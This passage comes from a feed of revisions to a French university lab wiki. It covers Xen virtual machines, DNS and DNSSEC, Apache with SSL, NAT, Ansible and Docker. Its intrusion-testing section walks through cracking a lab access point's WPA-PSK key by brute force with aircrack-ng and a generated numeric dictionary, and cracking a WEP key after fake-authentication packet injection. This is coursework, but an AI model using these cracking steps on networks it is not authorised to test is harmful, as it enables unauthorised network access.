  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51811</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51811"/>
				<updated>2019-12-16T15:00:41Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
